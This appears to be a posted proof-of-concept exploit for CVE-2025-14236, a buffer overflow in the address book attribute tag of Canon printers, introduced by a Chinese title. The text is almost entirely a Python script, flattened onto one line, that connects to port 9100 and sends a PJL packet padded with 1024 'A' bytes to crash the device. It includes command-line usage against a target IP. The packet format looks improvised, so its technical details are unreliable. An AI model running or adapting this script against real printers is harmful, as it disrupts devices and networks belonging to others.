CVE-2025-14236 佳能打印机Address Book缓冲区溢出漏洞

# CVE-2025-14236 PoC - Canon Printer Buffer Overflow in Address Book Attribute Tag # This PoC demonstrates sending a malformed packet to trigger the buffer overflow # Use for authorized security testing only import socket import struct import sys def create_malicious_packet(): """Create a malicious packet with oversized attribute tag""" # Printer service port (commonly 9100 for JetDirect) port = 9100 # Construct attribute tag with overflow payload # The overflow occurs when attribute tag exceeds expected buffer size overflow_length = 1024 # Arbitrary length to overflow buffer malicious_tag = b'A' * overflow_length + b'\x00' # Construct the malicious data packet # Protocol: PJL (Printer Job Language) based attack packet = b'\x1b%-12345X@PJL SET ADDRESSBOOK ATTRIBUTE TAG=' packet += malicious_tag packet += b'\r\n\x1b%-12345X' return packet def exploit_cve_2025_14236(target_ip, target_port=9100): """ Exploit function for CVE-2025-14236 Args: target_ip: Target printer IP address target_port: Target printer port (default: 9100) Returns: bool: True if packet sent successfully """ try: print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Generating malicious packet for CVE-2025-14236...") # Create malicious packet packet = create_malicious_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Malicious attribute tag length: {len(packet) - 50} bytes") # Connect and send malicious packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious packet...") sock.send(packet) # Check for response (device may become unresponsive) try: response = sock.recv(1024) print(f"[+] Received response: {response[:100]}") except socket.timeout: print("[!] No response received - device may be unresponsive") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14236.py <target_ip> [port]") print("Example: python cve-2025-14236.py 192.168.1.100 9100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 9100 print("=" * 60) print("CVE-2025-14236 - Canon Printer Buffer Overflow PoC") print("=" * 60) exploit_cve_2025_14236(target, port)